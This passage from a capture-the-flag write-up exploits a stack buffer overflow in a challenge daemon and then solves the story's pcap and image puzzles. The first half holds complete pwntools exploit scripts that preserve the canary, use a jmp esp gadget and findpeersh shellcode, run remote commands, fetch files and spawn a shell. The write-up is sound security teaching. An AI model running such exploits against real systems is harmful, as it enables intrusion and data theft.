. What happens when more than 100 bytes are read to that pointer, is a classic buffer overflow: the adjacent stack memory will be overwritten by our input. We should be able to overwrite the return address of the function in order to obtain code execution. The return address is where the execution will continue after reaching the end of the function. Look here for some more details on the call stack.
Furthermore, a manual canary value is set. The canary in this case is 0xe4ffffe4
. There is a check whether the canary value is still the same at the end of executing the sgstatd
function. The canary will be overwritten if we read more than 100 bytes into &bin
, because the canary is in the adjacent stack memory. If the canary value doesn’t match, we jump to sgnet_exit
, exiting the code so we’ll never reach our overwritten return address.
During the firmware analysis, we obtained the compiled version of the sgstatd
binary. In the example below, I’m using binjitsu for Python to analyse the security features of the binary. A popular alternative is checksec. These tools can check if a binary was compiled with features such as a non-executable stack (NX-bit), stack canaries, position independent code, etc. Security features have been largely disabled it seems, which will make it easier for us to exploit any vulnerabilities.
1
2
3
4
5
6
7
|
$ python -c 'from pwn import ELF; ELF("usr/bin/sgstatd");'
[*] '/home/pen/Documents/hhc/firmware-mod-kit-master/fmk/rootfs/usr/bin/sgstatd'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
|
We’re dealing with a binary that was compiled for 32-bit, and does not have the NX-bit set. The NX-bit can be used to mark memory regions as non-executable. In this case, the stack memory will not be marked as NX, meaning we can execute shellcode directly on the stack. Binjitsu also reports that no canary was found, but earlier on we found a canary in the source code: this is because the canary was added manually, and is not using the compiler’s stack canary protections.
Let’s see if we can trigger the buffer overflow. In one terminal window I’m running the sgstatd
binary locally, while I’m piping some text to the listener via netcat in another terminal window. I’m using strace
to log crashes within the process.
- Regular execution: the hidden command ‘X’ is triggered, after which we send some input “hello”.
- We trigger the buffer overflow by reading more than 100 bytes into
&bin
. “Canary not repaired” is shown because we overwrote the canary value on the stack. - We try to fix the canary value by sending it as our payload. We still get the “Canary not repaired” message, indicating that we might not have the correct alignment.
- Try a different alignment.
- Try a different alignment.
- Using 3 extra padding bytes, we now got the correct alignment for the canary, since the “Canary not repaired” message is no longer shown. We now see that a segmenation fault is triggered, because we overwrote the function’s return address with the canary value.
- The 3 extra padding bytes are now followed by 100 bytes (the size of
bin
). The next value on the stack is the canary. The return address is 4 bytes ahead. We can now return to any address by replacingBBBB
(0x42424242
)
We can now influence the return address while keeping the canary intact. But where to return to? In the code, the popen
call is available, which we could use to execute a command on the system. However, popen
requires a string argument containing our command. We would need to know the address of the stack pointer to be able to point to a string that we read onto the stack. There is no information leakage as far as I could tell that could point us to the stack address.
One of the easiest things to do in that case is to find an instruction gadget that allows us to transfer execution to the current stack position. Specifically, that means we’re looking for jmp esp
. Our tool of choice in this case is ROPgadget
.
1
2
3
4
5
6
|
$ ROPgadget --binary usr/bin/sgstatd --only jmp
Gadgets information
============================================================
0x0804936b : jmp esp
Unique gadgets found: 1
|
We’re in luck! We can transfer code execution to the stack using the jmp esp
instruction at 0x0804936b
. If we set this address as our return address in the buffer overflow, we can place shellcode on the stack that will be executed. Note that this is only possible because the NX-bit is not set. Again, I’m resorting to binjitsu to create the exploit. Binjitsu features helpful functions to make the exploiting process a lot easier.
We already had the following payload (p32
is a utility function to pack an integer):
1 |
"PPP" + "A"*100 + p32(canary) + "AAAA" + p32(return_address)
|
I’m modifying it as follows:
1 |
"PPP" + "A"*100 + p32(canary) + "AAAA" + p32(jmp_esp) + asm(shellcraft.findpeersh()) + "C"*22 + cmd + ";exit"
|
The shellcraft
module of binjitsu contains helpful shellcodes. shellcraft.findpeersh()
will do three things at once. First, it will locate the currently open socket for our connection and place it in the esi
register. Second, it will call dup
to duplicate the sock in esi
to stdin, stdout and stderr. Third, it will spawn a shell.
We’re effectively bypassing a protection here that randomizes the file descriptor for the socket by letting the shellcode automatically locate it (“findpeer”). This randomizer is implemented in sgnet_randfd
and is called by the sgnet_server
function in the sgnet.c
file.
"C"*22
are some extra padding bytes that are needed before our own commands are read. I’m adding ;exit
to exit the shell after we’ve run the command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
ELF("usr/bin/sgstatd")
canary = 0xe4ffffe4
jmp_esp = 0x0804936b
def rexec(cmd):
print
p = log.progress("Executing '%s'" % cmd)
r = remote("54.233.105.81", 4242)
r.recv()
r.sendline("X")
r.recvuntil("protected!\n")
r.recv()
payl = "PPP" + "A"*100 + p32(canary) + "AAAA" + p32(jmp_esp) + asm(shellcraft.findpeersh()) + "C"*22 + cmd + ";exit"
r.sendline(payl.ljust(200, "\n"))
ret = r.recvall()
r.close()
p.success()
return ret
log.success(rexec("id"))
log.success(rexec("uname -a"))
for fn in ["/gnome/www/files/20151215161015.zip", "/gnome/www/files/factory_cam_5.zip", "/gnome/www/files/gnome.conf"]:
res = ""
with open(os.path.basename(fn), "wb") as fh:
res = rexec("cat %s" % fn)
fh.write(res)
log.success("Fetched '%s' (%d bytes)" % (fn, len(res)))
|
And there it is, a working remote buffer overflow exploit that allows remote command execution:
I’m spawning a new connection for each command that I send to the server since the binary automatically closes the connection after a few seconds. It does this by setting an alarm
which closes the client connection. This is implemented in the sgnet_server
function in sgnet.c
.
I went a bit futher and modified the Python script to disable the alarm
and pop a shell. Disabling an alarm
is as easy as calling alarm(0)
, and of course binjitsu aso supports this!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
from pwn import *
ELF("usr/bin/sgstatd")
canary = 0xe4ffffe4
jmp_esp = 0x0804936b
r = remote("54.233.105.81", 4242)
r.recv()
r.sendline("X")
r.recvuntil("protected!\n")
r.recv()
payl = "PPP" + "A"*100 + p32(canary) + "AAAA" + p32(jmp_esp) + asm(shellcraft.alarm(0)) + asm(shellcraft.findpeersh())
r.sendline(payl.ljust(200, "\n"))
# Getting a full-fledged terminal
r.sendline("python -c 'import pty; pty.spawn(\"/bin/bash\")'")
r.interactive('')
|
Not much has changed between this version and the previous: first we’re creating some shellcode that calls alarm(0)
and then repeat the same process as before. When we get a shell, we’re sending some Python code to spawn a PTY. Although a PTY is not really necessary, it allows us to use commands that would otherwise require a TTY (such as the su
command).
Here is the downloaded gnome.conf file:
1
2
3
4
5
6
7
8
9
10
11
12
|
Gnome Serial Number: 4CKL3R43V4
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-05
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
|
I can’t immediately place the serial number in this case. “Ackler for ever”? The first hit for Ackler on Google is a compsci teacher, so that may be it 🙂
Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution
There are a few things that we didn’t look at yet. Besides the gnome.conf
file on each SuperGnome, also pcap files were available and a staticky image.
I extracted data from the pcap files via Rightclick > Follow > TCP Stream > Save as
in Wireshark. It is SMTP and POP traffic. Since the SMTP traffic is on port 2525 rather than the default of 25, you can decode the traffic manually via Rightclick > Decode As...
and setting SMTP as the current data type.
- SG-01 pcap, txt and image
- SG-02 pcap, txt and image
- SG-03 pcap, txt and image
- SG-04 pcap, txt and image
- SG-05 pcap, txt and image
PCAP files
In the SG-01 extracted stream contents, we can notice a blob of base64-encoded image data. I removed the data leading up to the base64-encoded image and then outputted the resulting image.
1 |
$ cat sg1_20141226101055.txt | sed -n '/base64/,$p' | sed -n '/^$/,$p' | base64 -di > architecture.jpg
|
The image describes the GIYH (Gnome In Your Home) architecture 🙂
In the SG-02 stream contents, an e-mail is sent from [email protected]
, requesting of a batch of 2 million of the following components:
- Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)
- ON Semiconductor AR0330: 3 MP 1/3″ CMOS Digital Image Sensor
- Atheros AR6233X Wi-Fi adapter
- Texas Instruments TPS65053 switching power supply
- Samsung K4B2G16460 2GB SSDR3 SDRAM
- Samsung K9F1G08U0D 1GB NAND Flash
That’s some serious power for a Gnome! 🙂
In the SG-03 stream contents, the sinister plan is revealed:
Our long-running plan is nearly complete, and I’m writing to share the date when your thieving will commence! On the morning of December 24, 2015, each individual burglar on this email list will receive a detailed itinerary of specific houses and an inventory of items to steal from each house, along with still photos of where to locate each item. The message will also include a specific path optimized for you to hit your assigned houses quickly and efficiently the night of December 24, 2015 after dark.
It’s all quite simple – go to each house, grab the loot, and return it to the designated drop-off area so we can resell it. And, above all, avoid Mount Crumpit!
As we agreed, we’ll split the proceeds from our sale 50-50 with each burglar.
Oh, and I’ve heard that many of you are asking where the name ATNAS comes from. Why, it’s reverse SANTA, of course. Instead of bringing presents on Christmas, we’ll be stealing them!
The stream contents for SG-04 contain an e-mail from the same e-mail address to a psychiatrist.
To answer your question directly, as a young child (I must have been no more than two), I experienced a life-changing interaction. Very late on Christmas Eve, I was awakened to find a grotesque green Who dressed in a tattered Santa Claus outfit, standing in my barren living room, attempting to shove our holiday tree up the chimney. My senses heightened, I put on my best little-girl innocent voice and asked him what he was doing. He explained that he was “Santy Claus” and needed to send the tree for repair. I instantly knew it was a lie, but I humored the old thief so I could escape to the safety of my bed. That horrifying interaction ruined Christmas for me that year, and I was terrified of the whole holiday season throughout my teen years.
I later learned that the green Who was known as “the Grinch” and had lost his mind in the middle of a crime spree to steal Christmas presents. At the very moment of his criminal triumph, he had a pitiful change of heart and started playing all nicey-nice. What an amateur! When I became an adult, my fear of Christmas boiled into true hatred of the whole holiday season. I knew that I had to stop Christmas from coming. But how?
I vowed to finish what the Grinch had started, but to do it at a far larger scale. Using the latest technology and a distributed channel of burglars, we’d rob 2 million houses, grabbing their most precious gifts, and selling them on the open market. We’ll destroy Christmas as two million homes full of people all cry “BOO-HOO”, and we’ll turn a handy profit on the whole deal.
The e-mail is signed by “Cindy Lou Who”. We now know who is behind all of this!
In the pcap of SG-05, we find out that the Grinch wrote Cindy Lou Who a kind-hearted letter back, apologising for what he did so long ago.
I am writing to apologize for what I did to you so long ago. I wronged you and all the Whos down in Who-ville due to my extreme misunderstanding of Christmas and a deep-seated hatred. I should have never lied to you, and I should have never stolen those gifts on Christmas Eve. I realize that even returning them on Christmas morn didn’t erase my crimes completely. I seek your forgiveness.
Staticky images
Now, the challenge also talks about staticky images: we obtained 5 factory_cam_X.png
images from each SuperGnome and a single camera_feed_overlap_error.png
image. There’s a hint on the “GnomeNET” tab about what we should do with them:
It sounds like we’ll need to XOR the images together to obtain the camera feed image of the boss’ office. I couldn’t immediately find a tool that would XOR images together, so I used some Python. I iterate through the dimensions of the image and XOR the pixel values of all images in this loop.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from PIL import Image
img0 = Image.open("camera_feed_overlap_error.png").convert('RGB')
pix0 = img0.load()
pixs = [pix0]
for i in range(5):
pixs.append(Image.open("factory_cam_%d.png" % (i+1)).load())
for i in range(1024):
for j in range(768):
# Obtaining the current pixel for every image
pixels = [_[i,j] for _ in pixs]
# Create value array for every channel R/G/B
rgb = [[_[ch] for _ in pixels] for ch in range(3)]
# XOR the values for each channel individually
pix0[i,j] = tuple([reduce(lambda x,y: x^y, rgb[ch]) for ch in range(3)])
img0.save("boss.png")
|
And there it is, the camera image taken from the boss’ office.
Cindy Lou Who, age 62, is our mastermind 🙂 (reference).
Attribution
We can now answer the challenge questions:
-
Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?
- The ATNAS corporation created 2 million gnomes that are placed in homes around the world. All gnomes have a camera inside and they are controlled by 5 SuperGnomes that are receiving the feeds. This allows ATNAS to determine where interesting items are around the house. On the night of 24 December, burglars will then break into the houses wearing a Santa suit, stealing the items that are valuable. These items were previously located inside the house via the camera images of the gnomes. Afterwards, ATNAS will resell the stolen goods. ATNAS is reverse SANTA: instead of bringing presents on Christmas, they’ll be stealing them!
-
Who is the villain behind the nefarious plot.
- Cindy Lou Who, age 62, the CEO of ATNAS corporation.
Now I wonder whether ATNAS still continued with their plan, after receiving such a heartfelt letter from the Grinch.
I hope to see a follow-up! 🙂
I liked that many easter eggs were present in the challenges in the form of references to movies and people. I hope I didn’t miss too many! Thanks again to the people who created this challenge. Happy holidays.
You know you can’t spell S-A-N-T-A without an N, an S, and an A.
Recent Comments